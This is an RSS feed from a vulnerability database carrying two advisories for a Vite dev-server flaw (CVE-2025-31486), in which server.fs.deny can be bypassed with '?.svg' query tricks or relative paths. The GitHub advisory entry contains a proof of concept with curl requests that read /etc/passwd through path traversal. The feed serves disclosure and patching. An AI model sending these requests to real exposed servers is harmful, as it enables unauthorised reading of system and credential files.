<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 30 Sep 2026 11:39:12 +0000</lastBuildDate>
    <item>
      <title>CVE-2025-31486 — Vite allows server.fs.deny to be bypassed with .svg or relative paths</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2025-31486</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; vitejs vite&lt;/p&gt;
&lt;p&gt;Vite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. This vulnerability is fixed in 4.5.12, 5.4.17, 6.0.14, 6.1.4, and 6.2.5.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; vitejs vite&lt;/p&gt;
&lt;p&gt;Vite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. This vulnerability is fixed in 4.5.12, 5.4.17, 6.0.14, 6.1.4, and 6.2.5.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2025-31486</guid>
    </item>
    <item>
      <title>GHSA-xcj6-pq6g-qj4x — Vite allows server.fs.deny to be bypassed with .svg or relative paths</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-xcj6-pq6g-qj4x</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: vite&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The contents of arbitrary files can be returned to the browser.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;#### `.svg`&lt;/p&gt;
&lt;p&gt;Requests ending with `.svg` are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script` header, the restriction was able to bypass.&lt;/p&gt;
&lt;p&gt;This bypass is only possible if the file is smaller than [`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit) (default: 4kB) and when using Vite 6.0+.&lt;/p&gt;
&lt;p&gt;#### relative paths&lt;/p&gt;
&lt;p&gt;The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. `../../`).&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```bash
npm create vite@latest
cd vite-project/
npm install
npm run dev
```&lt;/p&gt;
&lt;p&gt;send request to read `etc/passwd`&lt;/p&gt;
&lt;p&gt;```bash
curl &amp;#39;http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init&amp;#39;
```&lt;/p&gt;
&lt;p&gt;```bash
curl &amp;#39;http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&amp;amp;?raw&amp;#39;
```&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: vite&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The contents of arbitrary files can be returned to the browser.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;#### `.svg`&lt;/p&gt;
&lt;p&gt;Requests ending with `.svg` are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script` header, the restriction was able to bypass.&lt;/p&gt;
&lt;p&gt;This bypass is only possible if the file is smaller than [`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit) (default: 4kB) and when using Vite 6.0+.&lt;/p&gt;
&lt;p&gt;#### relative paths&lt;/p&gt;
&lt;p&gt;The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. `../../`).&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```bash
npm create vite@latest
cd vite-project/
npm install
npm run dev
```&lt;/p&gt;
&lt;p&gt;send request to read `etc/passwd`&lt;/p&gt;
&lt;p&gt;```bash
curl &amp;#39;http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init&amp;#39;
```&lt;/p&gt;
&lt;p&gt;```bash
curl &amp;#39;http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&amp;amp;?raw&amp;#39;
```&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-xcj6-pq6g-qj4x</guid>
    </item>
  </channel>
</rss>
